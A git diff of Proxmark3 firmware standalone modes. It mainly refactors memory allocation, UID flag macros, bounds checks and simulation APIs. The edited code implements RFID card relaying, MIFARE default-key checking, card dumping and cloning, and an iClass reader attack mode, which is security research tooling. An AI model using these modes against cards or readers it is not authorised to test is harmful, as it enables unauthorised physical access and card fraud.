b/armsrc/Standalone/hf_cardhopper.c @@ -33,7 +33,10 @@ #ifdef CARDHOPPER_USB #define cardhopper_write usb_write #define cardhopper_read usb_read_ng -#define cardhopper_data_available usb_poll_validate_length +bool cardhopper_data_available(void); +bool cardhopper_data_available(void) { + return usb_read_ng_has_buffered_data() || usb_poll_validate_length(); +} #else #define cardhopper_write usart_writebuffer_sync #define cardhopper_read usart_read_ng @@ -56,7 +59,7 @@ static const uint8_t magicCARD[4] = "CARD"; static const uint8_t magicEND [4] = "\xff" "END"; static const uint8_t magicRSRT[7] = "RESTART"; static const uint8_t magicERR [4] = "\xff" "ERR"; -static uint8_t magicACK [1] = "\xfe"; // is constant, but must be passed to API that doesn't like that +static const uint8_t magicACK [1] = "\xfe"; // Forward declarations static void become_reader(void); @@ -69,7 +72,7 @@ static bool try_use_canned_response(const uint8_t *, int, tag_response_info_t *) static void reply_with_packet(packet_t *); static void read_packet(packet_t *); -static void write_packet(packet_t *); +static void write_packet(const packet_t *); static bool GetIso14443aCommandFromReaderInterruptible(uint8_t *, uint16_t, uint8_t *, int *); @@ -107,14 +110,22 @@ void RunMod(void) { break; } - if (memcmp(magicREAD, modeRx.dat, sizeof(magicREAD)) == 0) { + if (modeRx.len == 0) { + DbpString(_CYAN_("[@]") " Zero length message"); + continue; + } + + if (modeRx.len == sizeof(magicREAD) && memcmp(magicREAD, modeRx.dat, sizeof(magicREAD)) == 0) { DbpString(_CYAN_("[@]") " I am a READER. I talk to a CARD."); become_reader(); - } else if (memcmp(magicCARD, modeRx.dat, sizeof(magicCARD)) == 0) { + } else if (modeRx.len == sizeof(magicCARD) && memcmp(magicCARD, modeRx.dat, sizeof(magicCARD)) == 0) { DbpString(_CYAN_("[@]") " I am a CARD. I talk to a READER."); become_card(); - } else if (memcmp(magicEND, modeRx.dat, sizeof(magicEND)) == 0) { + } else if (modeRx.len == sizeof(magicEND) && memcmp(magicEND, modeRx.dat, sizeof(magicEND)) == 0) { break; + } else if (modeRx.len == sizeof(magicRSRT) && memcmp(magicRSRT, modeRx.dat, sizeof(magicRSRT)) == 0) { + DbpString(_CYAN_("[@]") " Got RESET but already reset."); + continue; } else { DbpString(_YELLOW_("[!]") " unknown mode!"); Dbhexdump(modeRx.len, modeRx.dat, true); @@ -135,14 +146,19 @@ static void become_reader(void) { packet_t packet = { 0 }; packet_t *rx = &packet; packet_t *tx = &packet; - uint8_t toCard[256] = { 0 }; + uint8_t toCard[MAX_FRAME_SIZE] = { 0 }; uint8_t parity[MAX_PARITY_SIZE] = { 0 }; while (1) { WDT_HIT(); read_packet(rx); - if (memcmp(magicRSRT, rx->dat, sizeof(magicRSRT)) == 0) break; + if (rx->len == sizeof(magicRSRT) && memcmp(magicRSRT, rx->dat, sizeof(magicRSRT)) == 0) break; + + if (BUTTON_PRESS()) { + DbpString(_CYAN_("[@]") " Button pressed - Breaking from reader loop"); + break; + } if (rx->dat[0] == ISO14443A_CMD_RATS && rx->len == 4) { // got RATS from reader, reset the card @@ -162,11 +178,15 @@ static void become_reader(void) { AddCrc14A(toCard, rx->len); ReaderTransmit(toCard, rx->len + 2, NULL); - tx->len = ReaderReceive(tx->dat, sizeof(tx->dat), parity); - if (tx->len == 0) { + // read to toCard instead of tx->dat directly to allow the extra byte for the CRC + uint16_t fromCardLen = ReaderReceive(toCard, sizeof(toCard), parity); + if (fromCardLen <= 2) { tx->len = sizeof(magicERR); memcpy(tx->dat, magicERR, sizeof(magicERR)); - } else tx->len -= 2; // cut off the CRC + } else { + tx->len = fromCardLen - 2; // cut off the CRC + memcpy(tx->dat, toCard, tx->len); + } write_packet(tx); } @@ -206,21 +226,22 @@ static void become_card(void) { iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); uint8_t tagType; - uint16_t flags; + uint16_t flags = 0; uint8_t data[PM3_CMD_DATA_SIZE] = { 0 }; packet_t ats = { 0 }; prepare_emulation(&tagType, &flags, data, &ats); tag_response_info_t *canned; uint32_t cuid; - uint32_t counters[3] = { 0 }; - uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd }; uint8_t pages; - SimulateIso14443aInit(tagType, flags, data, &canned, &cuid, counters, tearings, &pages); + if (SimulateIso14443aInit(tagType, flags, data, NULL, 0, &canned, &cuid, &pages, NULL) == false) { + DbpString(_RED_("Error initializing the emulation process!")); + return; + } DbpString(_CYAN_("[@]") " Setup done - entering emulation loop"); int fromReaderLen; - uint8_t fromReaderDat[256] = { 0 }; + uint8_t fromReaderDat[MAX_FRAME_SIZE] = { 0 }; uint8_t parity[MAX_PARITY_SIZE] = { 0 }; packet_t packet = { 0 }; packet_t *tx = &packet; @@ -261,8 +282,14 @@ static void become_card(void) { memcpy(tx->dat, fromReaderDat, tx->len); write_packet(tx); + if (no_reply) { + // since the RATS reply has already been sent waiting here will can result in missing the next reader command + // if we do get a reply later on while waiting for the next reader message it will be safely ignored + continue; + } + read_packet(rx); - if (!no_reply && rx->len > 0) { + if (rx->len > 0) { reply_with_packet(rx); } } @@ -297,7 +324,7 @@ static void prepare_emulation(uint8_t *tagType, uint16_t *flags, uint8_t *data, } memcpy(data, uidRx.dat, uidRx.len); - *flags = (uidRx.len == 10 ? FLAG_10B_UID_IN_DATA : (uidRx.len == 7 ? FLAG_7B_UID_IN_DATA : FLAG_4B_UID_IN_DATA)); + FLAG_SET_UID_IN_DATA(*flags, uidRx.len); DbpString(_CYAN_("[@]") " UID:"); Dbhexdump(uidRx.len, data, false); Dbprintf(_CYAN_("[@]") " Flags: %hu", *flags); @@ -328,7 +355,13 @@ static void cook_ats(packet_t *ats, uint8_t fwi, uint8_t sfgi) { uint8_t orig_t0 = ats->dat[1]; // Update FSCI in T0 from the received ATS - t0 |= orig_t0 & 0x0F; + uint8_t fsci = orig_t0 & 0x0F; + if (fsci > 8) { + // our packet length maxes out at 255 bytes, an FSCI of 8 requires 256 bytes + // but since we drop the 2 byte CRC16 we're safe capping this at 8 + fsci = 8; + } + t0 |= fsci; uint8_t len = ats->len - 2; uint8_t *orig_ats_ptr = &ats->dat[2]; @@ -433,20 +466,12 @@ static bool try_use_canned_response(const uint8_t *dat, int len, tag_response_in } -static uint8_t g_responseBuffer [512 ] = { 0 }; -static uint8_t g_modulationBuffer[1024] = { 0 }; +static uint8_t g_responseBuffer [MAX_FRAME_SIZE] = { 0 }; static void reply_with_packet(packet_t *packet) { - tag_response_info_t response = { 0 }; - response.response = g_responseBuffer; - response.modulation = g_modulationBuffer; - - memcpy(response.response, packet->dat, packet->len); - AddCrc14A(response.response, packet->len); - response.response_n = packet->len + 2; - - prepare_tag_modulation(&response, sizeof(g_modulationBuffer)); - EmSendPrecompiledCmd(&response); + memcpy(g_responseBuffer, packet->dat, packet->len); + AddCrc14A(g_responseBuffer, packet->len); + EmSendCmd(g_responseBuffer, packet->len + 2); } @@ -476,23 +501,31 @@ static void read_packet(packet_t *packet) { if (packet->len == 0x50 && dataReceived >= sizeof(PacketResponseNGPreamble) && packet->dat[0] == 0x4D && packet->dat[1] == 0x33 && packet->dat[2] == 0x61) { // PM3 NG packet magic - DbpString(_CYAN_("[@]") " PM3 NG packet recieved - ignoring"); + DbpString(_CYAN_("[@]") " PM3 NG packet received - ignoring"); // clear any remaining buffered data while (cardhopper_data_available()) { - cardhopper_read(packet->dat, 255); + cardhopper_read(packet->dat, sizeof(packet->dat)); } packet->len = 0; return; } } - cardhopper_write(magicACK, sizeof(magicACK)); + + if (packet->len > (MAX_FRAME_SIZE - 2)) { + // this will overrun MAX_FRAME_SIZE once we re-add the CRC + // in theory this should never happen but better to be defensive + packet->len = 0; + cardhopper_write(magicERR, sizeof(magicERR)); + } else { + cardhopper_write(magicACK, sizeof(magicACK)); + } } -static void write_packet(packet_t *packet) { - cardhopper_write((uint8_t *) packet, packet->len + 1); +static void write_packet(const packet_t *packet) { + cardhopper_write((const uint8_t *) packet, packet->len + 1); } diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c index 143f97c4f..a5b761899 100644 --- a/armsrc/Standalone/hf_colin.c +++ b/armsrc/Standalone/hf_colin.c @@ -95,6 +95,11 @@ static iso14a_card_select_t colin_p_card; static int colin_currline; static int colin_currfline; static int colin_curlline; +static int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, const uint8_t *datain, uint64_t *key); +static int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype); +static void saMifareMakeTag(void); +static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, const uint8_t *datain); +static void WriteTagToFlash(uint32_t uid, size_t size); // TODO : Implement fast read of KEYS like in RFIdea // also http://ext.delaat.net/rp/2015-2016/p04/report.pdf @@ -245,7 +250,7 @@ static char *ReadSchemasFromSPIFFS(char *filename) { int changed = rdv40_spiffs_lazy_mount(); uint32_t size = size_in_spiffs((char *)filename); - uint8_t *mem = BigBuf_malloc(size); + uint8_t *mem = BigBuf_calloc(size); rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)mem, size, RDV40_SPIFFS_SAFETY_SAFE); if (changed) { @@ -257,7 +262,7 @@ static char *ReadSchemasFromSPIFFS(char *filename) { static void add_schemas_from_json_in_spiffs(char *filename) { - char *jsonfile = ReadSchemasFromSPIFFS((char *)filename); + const char *jsonfile = ReadSchemasFromSPIFFS((char *)filename); int i, len = strlen(jsonfile); struct json_token t; @@ -287,7 +292,7 @@ static void ReadLastTagFromFlash(void) { DbprintfEx(FLAG_NEWLINE, "Button HELD ! Using LAST Known TAG for Simulation..."); cjSetCursLeft(); - uint8_t *mem = BigBuf_malloc(size); + uint8_t *mem = BigBuf_calloc(size); // this one will handle filetype (symlink or not) and resolving by itself rdv40_spiffs_read_as_filetype((char *)HFCOLIN_LASTTAG_SYMLINK, (uint8_t *)mem, len, RDV40_SPIFFS_SAFETY_SAFE); @@ -301,7 +306,7 @@ static void ReadLastTagFromFlash(void) { return; } -void WriteTagToFlash(uint32_t uid, size_t size) { +static void WriteTagToFlash(uint32_t uid, size_t size) { SpinOff(0); LED_A_ON(); LED_B_ON(); @@ -311,7 +316,7 @@ void WriteTagToFlash(uint32_t uid, size_t size) { uint32_t len = size; uint8_t data[(size * (16 * 64)) / 1024]; - emlGetMem(data, 0, (size * 64) / 1024); + emlGetMem_xt(data, 0, (size * 64) / 1024, MIFARE_BLOCK_SIZE); char dest[SPIFFS_OBJ_NAME_LEN]; uint8_t buid[4]; @@ -440,11 +445,11 @@ void RunMod(void) { }; // Can remember something like that in case of Bigbuf - keyBlock = BigBuf_malloc(ARRAYLEN(mfKeys) * 6); + keyBlock = BigBuf_calloc(ARRAYLEN(mfKeys) * MF_KEY_LENGTH); int mfKeysCnt = ARRAYLEN(mfKeys); for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) { - num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6)); + num_to_bytes(mfKeys[mfKeyCounter], MF_KEY_LENGTH, (uint8_t *)(keyBlock + (mfKeyCounter * MF_KEY_LENGTH))); } // TODO : remember why we actually had need to initialize this array in such specific case @@ -493,7 +498,7 @@ failtag: SpinOff(50); LED_A_ON(); - while (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) { + while (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) { WDT_HIT(); if (BUTTON_HELD(10) == BUTTON_HOLD) { WDT_HIT(); @@ -646,7 +651,7 @@ failtag: emlClearMem(); uint8_t mblock[16]; for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { - emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + emlGetMem_xt(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1, MIFARE_BLOCK_SIZE); for (uint8_t t = 0; t < 2; t++) { memcpy(mblock + t * 10, foundKey[t][sectorNo], 6); } @@ -717,33 +722,10 @@ readysim: SpinOff(100); LED_C_ON(); - /* uint16_t flags = 0; - switch (colin_p_card.uidlen) { - case 10: - flags = FLAG_10B_UID_IN_DATA; - break; - case 7: - flags = FLAG_7B_UID_IN_DATA; - break; - case 4: - flags = FLAG_4B_UID_IN_DATA; - break; - default: - flags = FLAG_UID_IN_EMUL; - break; - } - // Use UID, SAK, ATQA from EMUL, if uid not defined - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { - flags |= FLAG_UID_IN_EMUL; - } - flags |= FLAG_MF_1K; - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { - flags |= FLAG_UID_IN_EMUL; - } - flags = 0x10; - */ - uint16_t flags = FLAG_UID_IN_EMUL; +// FLAG_SET_UID_IN_DATA(flags, colin_p_card.uidlen); + FLAG_SET_UID_IN_EMUL(flags); + FLAG_SET_MF_SIZE(flags, MIFARE_1K_MAX_BYTES); DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags); cjSetCursLeft(); SpinOff(1000); @@ -786,7 +768,7 @@ readysim: * - *datain used as error return * - tracing is falsed */ -int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) { +static int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) { uint8_t numSectors = numofsectors; uint8_t keyType = keytype; @@ -803,7 +785,7 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) { bool isOK = true; - if (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) { + if (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) { isOK = false; } @@ -830,7 +812,7 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) { emlSetMem_xt(dataoutbuf, FirstBlockOfSector(s) + blockNo, 1, 16); } else { // sector trailer, keep the keys, set only the AC - emlGetMem(dataoutbuf2, FirstBlockOfSector(s) + blockNo, 1); + emlGetMem_xt(dataoutbuf2, FirstBlockOfSector(s) + blockNo, 1, MIFARE_BLOCK_SIZE); memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4); emlSetMem_xt(dataoutbuf2, FirstBlockOfSector(s) + blockNo, 1, 16); } @@ -848,8 +830,8 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) { /* the chk function is a piwi'ed(tm) check that will try all keys for a particular sector. also no tracing no dbg */ -int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, - uint8_t keyCount, uint8_t *datain, uint64_t *key) { +static int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, + uint8_t keyCount, const uint8_t *datain, uint64_t *key) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); set_tracing(false); @@ -862,8 +844,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, for (uint8_t i = 0; i < keyCount; i++) { /* no need for anticollision. just verify tag is still here */ - // if (!iso14443a_fast_select_card(colin_cjuid, 0)) { - if (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) { + if (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) { cjSetCursLeft(); DbprintfEx(FLAG_NEWLINE, "%sFATAL%s : E_MF_LOSTTAG", _XRED_, _XWHITE_); break; @@ -886,7 +867,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, return retval; } -void saMifareMakeTag(void) { +static void saMifareMakeTag(void) { uint8_t cfail = 0; cjSetCursLeft(); cjTabulize(); @@ -901,7 +882,7 @@ void saMifareMakeTag(void) { int flags = 0; for (int blockNum = 0; blockNum < 16 * 4; blockNum++) { uint8_t mblock[16]; - emlGetMem(mblock, blockNum, 1); + emlGetMem_xt(mblock, blockNum, 1, MIFARE_BLOCK_SIZE); // switch on field and send magic sequence if (blockNum == 0) flags = 0x08 + 0x02; @@ -946,7 +927,7 @@ void saMifareMakeTag(void) { // Matt's StandAlone mod. // Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn) //----------------------------------------------------------------------------- -int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { +static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, const uint8_t *datain) { // params uint8_t needWipe = arg0; // bit 0 - need get UID @@ -981,7 +962,7 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data // get UID from chip if (workFlags & 0x01) { - if (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) { + if (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) { DbprintfEx(FLAG_NEWLINE, "Can't select card"); break; }; diff --git a/armsrc/Standalone/hf_colin.h b/armsrc/Standalone/hf_colin.h index aedc132d6..fa8730d98 100644 --- a/armsrc/Standalone/hf_colin.h +++ b/armsrc/Standalone/hf_colin.h @@ -35,12 +35,6 @@ #define _XWHITE_ "\x1b[0m" #define _XORANGE_ _XYELLOW_ -int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key); -int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype); -void saMifareMakeTag(void); -int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); -void WriteTagToFlash(uint32_t uid, size_t size); - const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'}; //void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug); diff --git a/armsrc/Standalone/hf_craftbyte.c b/armsrc/Standalone/hf_craftbyte.c index 41d9a3503..736e89aca 100644 --- a/armsrc/Standalone/hf_craftbyte.c +++ b/armsrc/Standalone/hf_craftbyte.c @@ -79,13 +79,8 @@ void RunMod(void) { } } else if (state == STATE_EMUL) { uint16_t flags = 0; - if (card.uidlen == 4) { - flags |= FLAG_4B_UID_IN_DATA; - } else if (card.uidlen == 7) { - flags |= FLAG_7B_UID_IN_DATA; - } else if (card.uidlen == 10) { - flags |= FLAG_10B_UID_IN_DATA; - } else { + FLAG_SET_UID_IN_DATA(flags, card.uidlen); + if (IS_FLAG_UID_IN_EMUL(flags)) { Dbprintf("Unusual UID length, something is wrong. Try again please."); state = STATE_READ; continue; @@ -94,22 +89,22 @@ void RunMod(void) { Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state."); if (card.sak == 0x08 && card.atqa[0] == 0x04 && card.atqa[1] == 0) { DbpString("Mifare Classic 1k"); - SimulateIso14443aTag(1, flags, card.uid, 0); + SimulateIso14443aTag(1, flags, card.uid, 0, NULL, 0, false, false); } else if (card.sak == 0x08 && card.atqa[0] == 0x44 && card.atqa[1] == 0) { DbpString("Mifare Classic 4k "); - SimulateIso14443aTag(8, flags, card.uid, 0); + SimulateIso14443aTag(8, flags, card.uid, 0, NULL, 0, false, false); } else if (card.sak == 0x00 && card.atqa[0] == 0x44 && card.atqa[1] == 0) { DbpString("Mifare Ultralight"); - SimulateIso14443aTag(2, flags, card.uid, 0); + SimulateIso14443aTag(2, flags, card.uid, 0, NULL, 0, false, false); } else if (card.sak == 0x20 && card.atqa[0] == 0x04 && card.atqa[1] == 0x03) { DbpString("Mifare DESFire"); - SimulateIso14443aTag(3, flags, card.uid, 0); + SimulateIso14443aTag(3, flags, card.uid, 0, NULL, 0, false, false); } else if (card.sak == 0x20 && card.atqa[0] == 0x44 && card.atqa[1] == 0x03) { DbpString("Mifare DESFire Ev1/Plus/JCOP"); - SimulateIso14443aTag(3, flags, card.uid, 0); + SimulateIso14443aTag(3, flags, card.uid, 0, NULL, 0, false, false); } else { Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation"); - SimulateIso14443aTag(1, flags, card.uid, 0); + SimulateIso14443aTag(1, flags, card.uid, 0, NULL, 0, false, false); } // Go back to search state if user presses pm3-button diff --git a/armsrc/Standalone/hf_iceclass.c b/armsrc/Standalone/hf_iceclass.c index a47cf6517..db7b922ac 100644 --- a/armsrc/Standalone/hf_iceclass.c +++ b/armsrc/Standalone/hf_iceclass.c @@ -238,7 +238,7 @@ static int reader_attack_mode(void) { BigBuf_free(); uint16_t mac_response_len = 0; - uint8_t *mac_responses = BigBuf_malloc(MAC_RESPONSES_SIZE); + uint8_t *mac_responses = BigBuf_calloc(MAC_RESPONSES_SIZE); iclass_simulate(ICLASS_SIM_MODE_READER_ATTACK, NUM_CSNS, false, csns, mac_responses, &mac_response_len); @@ -250,9 +250,9 @@ static int reader_attack_mode(void) { size_t dumplen = NUM_CSNS * 24; - uint8_t *dump = BigBuf_malloc(dumplen); + uint8_t *dump = BigBuf_calloc(dumplen); if (dump == false) { - Dbprintf("failed to allocate memory"); + Dbprintf("Failed to allocate memory"); return PM3_EMALLOC; } @@ -305,6 +305,7 @@ static int reader_dump_mode(void) { BigBuf_free(); uint8_t *card_data = BigBuf_malloc(ICLASS_16KS_SIZE); + // Don't use calloc since we set allocated memory to 0xFF's memset(card_data, 0xFF, ICLASS_16KS_SIZE); if (BUTTON_PRESS()) { @@ -442,6 +443,7 @@ static int dump_sim_mode(void) { BigBuf_free(); uint8_t *card_data = BigBuf_malloc(ICLASS_16KS_SIZE); + // Don't use calloc since we set allocated memory to 0xFF's memset(card_data, 0xFF, ICLASS_16KS_SIZE); if (BUTTON_PRESS()) { diff --git a/armsrc/Standalone/hf_legic.c b/armsrc/Standalone/hf_legic.c index 58d958c14..a15bb2de3 100644 --- a/armsrc/Standalone/hf_legic.c +++ b/armsrc/Standalone/hf_legic.c @@ -69,16 +69,18 @@ static void save_dump_to_file(legic_card_select_t *p_card) { // legic functions puts it memory in Emulator reserved memory. uint8_t *mem = BigBuf_get_EM_addr(); - char *preferredName = (char *)BigBuf_malloc(30); + char *preferredName = (char *)BigBuf_calloc(30); if (preferredName == NULL) { + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); goto OUT; } sprintf(preferredName, "hf-legic-%02X%02X%02X%02X-dump", p_card->uid[0], p_card->uid[1], p_card->uid[2], p_card->uid[3]); uint16_t preferredNameLen = strlen(preferredName); - char *filename = (char *)BigBuf_malloc(preferredNameLen + 4 + 1 + 10); + char *filename = (char *)BigBuf_calloc(preferredNameLen + 4 + 1 + 10); if (filename == NULL) { + if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory"); goto OUT; } diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c index b03051ca3..fa0710b02 100644 --- a/armsrc/Standalone/hf_mattyrun.c +++ b/armsrc/Standalone/hf_mattyrun.c @@ -33,6 +33,7 @@ #include "mifaresim.h" // mifare1ksim #include "mifareutil.h" #include "proxmark3_arm.h" +#include "spiffs.h" #include "standalone.h" // standalone definitions #include "string.h" #include "ticks.h" @@ -246,7 +247,7 @@ void RunMod(void) { // usb_disable(); // Allocate dictionary buffer - uint64_t *const mfcKeys = (uint64_t *)BigBuf_malloc( + uint64_t *const mfcKeys = (uint64_t *)BigBuf_calloc( sizeof(uint64_t) * (ARRAYLEN(MATTYRUN_MFC_ESSENTIAL_KEYS) + ARRAYLEN(MATTYRUN_MFC_DEFAULT_KEYS) + MIFARE_4K_MAXSECTOR * 2)); @@ -500,7 +501,7 @@ void RunMod(void) { uint8_t mblock[MIFARE_BLOCK_SIZE]; for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; ++sectorNo) { if (validKey[0][sectorNo] || validKey[1][sectorNo]) { - emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + emlGetMem_xt(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1, MIFARE_BLOCK_SIZE); for (uint8_t keyType = 0; keyType < 2; ++keyType) { if (validKey[keyType][sectorNo]) { memcpy(mblock + keyType * 10, foundKey[keyType][sectorNo], 6); @@ -520,11 +521,11 @@ void RunMod(void) { int filled; partialEmulation = false; DbpString("[=] Filling emulator memory using key A"); - filled = MifareECardLoad(sectorsCnt, MF_KEY_A); + filled = MifareECardLoad(sectorsCnt, MF_KEY_A, NULL); if (filled != PM3_SUCCESS) { DbpString("[" _YELLOW_("-") "] " _YELLOW_("Only partially filled using key A, retry with key B!")); DbpString("[=] Filling emulator memory using key B"); - filled = MifareECardLoad(sectorsCnt, MF_KEY_B); + filled = MifareECardLoad(sectorsCnt, MF_KEY_B, NULL); if (filled != PM3_SUCCESS) { DbpString("[" _YELLOW_("-") "] " _YELLOW_("Only partially filled using key B!")); } @@ -534,7 +535,14 @@ void RunMod(void) { SpinErr(LED_D, 50, 8); partialEmulation = true; } else { - DbpString("[" _GREEN_("+") "] " _GREEN_("Emulator memory filled completely.")); +#ifdef WITH_FLASH + DbpString("[" _GREEN_("+") "] " _GREEN_("Emulator memory filled completely. Start storing card in spiff memory.")); + uint8_t *emCARD = BigBuf_get_EM_addr(); + char dumpFileName[30] = {0}; + sprintf(dumpFileName, DUMP_FILE, mattyrun_card.uid[0], mattyrun_card.uid[1], mattyrun_card.uid[2], mattyrun_card.uid[3]); + rdv40_spiffs_write(dumpFileName, emCARD, 1024, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[" _GREEN_("+") "] " _GREEN_("Stored card on %s"), dumpFileName); +#endif } state = STATE_EMULATE; @@ -556,19 +564,7 @@ void RunMod(void) { } uint16_t simflags = 0; - switch (mattyrun_card.uidlen) { - case 4: - simflags |= FLAG_4B_UID_IN_DATA; - break; - case 7: - simflags |= FLAG_7B_UID_IN_DATA; - break; - case 10: - simflags |= FLAG_10B_UID_IN_DATA; - break; - default: - break; - } + FLAG_SET_UID_IN_DATA(simflags, mattyrun_card.uidlen); uint16_t atqa = (uint16_t)bytes_to_num(mattyrun_card.atqa, 2); SpinDelay(1000); diff --git a/armsrc/Standalone/hf_mattyrun.h b/armsrc/Standalone/hf_mattyrun.h index 605ea447b..892232e88 100644 --- a/armsrc/Standalone/hf_mattyrun.h +++ b/armsrc/Standalone/hf_mattyrun.h @@ -21,6 +21,9 @@ #include +// Filename to store the card info in spiff memory +#define DUMP_FILE "hf_mattyrun_dump_%02x%02x%02x%02x.bin" + // Set of standard keys to be used static uint64_t const MATTYRUN_MFC_DEFAULT_KEYS[] = { 0xFFFFFFFFFFFF, // Default key diff --git a/armsrc/Standalone/hf_mfcsim.c b/armsrc/Standalone/hf_mfcsim.c index bba01d472..667696f86 100644 --- a/armsrc/Standalone/hf_mfcsim.c +++ b/armsrc/Standalone/hf_mfcsim.c @@ -143,7 +143,9 @@ void RunMod(void) { //Start to simulate Dbprintf(_YELLOW_("[Slot: %d] Simulation start, Press button to change next card."), i); - uint16_t simflags = FLAG_UID_IN_EMUL | FLAG_MF_1K; + uint16_t simflags = 0; + FLAG_SET_MF_SIZE(simflags, MIFARE_1K_MAX_BYTES); + FLAG_SET_UID_IN_EMUL(simflags); Mifare1ksim(simflags, 0, NULL, 0, 0); Dbprintf(_YELLOW_("[Slot: %d] Simulation end, Write Back to dump file!"), i); diff --git a/armsrc/Standalone/hf_msdsal.c b/armsrc/Standalone/hf_msdsal.c index 74044a1c6..6eb5b46b2 100644 --- a/armsrc/Standalone/hf_msdsal.c +++ b/armsrc/Standalone/hf_msdsal.c @@ -209,7 +209,8 @@ void RunMod(void) { bool chktoken = false; // UID 4 bytes(could be 7 bytes if needed it) - uint8_t flags = FLAG_4B_UID_IN_DATA; + uint8_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 4); // in case there is a read command received we shouldn't break uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; @@ -378,7 +379,7 @@ void RunMod(void) { BigBuf_free_keep_EM(); // tag type: 11 = ISO/IEC 14443-4 - javacard (JCOP) - if (SimulateIso14443aInit(11, flags, data, &responses, &cuid, NULL, NULL, NULL) == false) { + if (SimulateIso14443aInit(11, flags, data, NULL, 0, &responses, &cuid, NULL, NULL) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); DbpString(_RED_("Error initializing the emulation process!")); @@ -444,7 +445,7 @@ void RunMod(void) { // received a RATS request } else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { prevCmd = 0; - p_response = &responses[RESP_INDEX_RATS]; + p_response = &responses[RESP_INDEX_ATS]; } else { if (g_dbglevel == DBG_DEBUG) { diff --git a/armsrc/Standalone/hf_reblay.c b/armsrc/Standalone/hf_reblay.c index 83a9c37a5..30db64f41 100644 --- a/armsrc/Standalone/hf_reblay.c +++ b/armsrc/Standalone/hf_reblay.c @@ -81,7 +81,8 @@ void RunMod() { // UID 4 bytes(could be 7 bytes if needed it) - uint8_t flags = FLAG_4B_UID_IN_DATA; + uint8_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 4); // in case there is a read command received we shouldn't break uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; @@ -267,7 +268,7 @@ void RunMod() { BigBuf_free_keep_EM(); // 4 = ISO/IEC 14443-4 - javacard (JCOP) - if (SimulateIso14443aInit(4, flags, data, &responses, &cuid, NULL, NULL, NULL) == false) { + if (SimulateIso14443aInit(4, flags, data, NULL, 0, &responses, &cuid, NULL, NULL) == false) { BigBuf_free_keep_EM(); 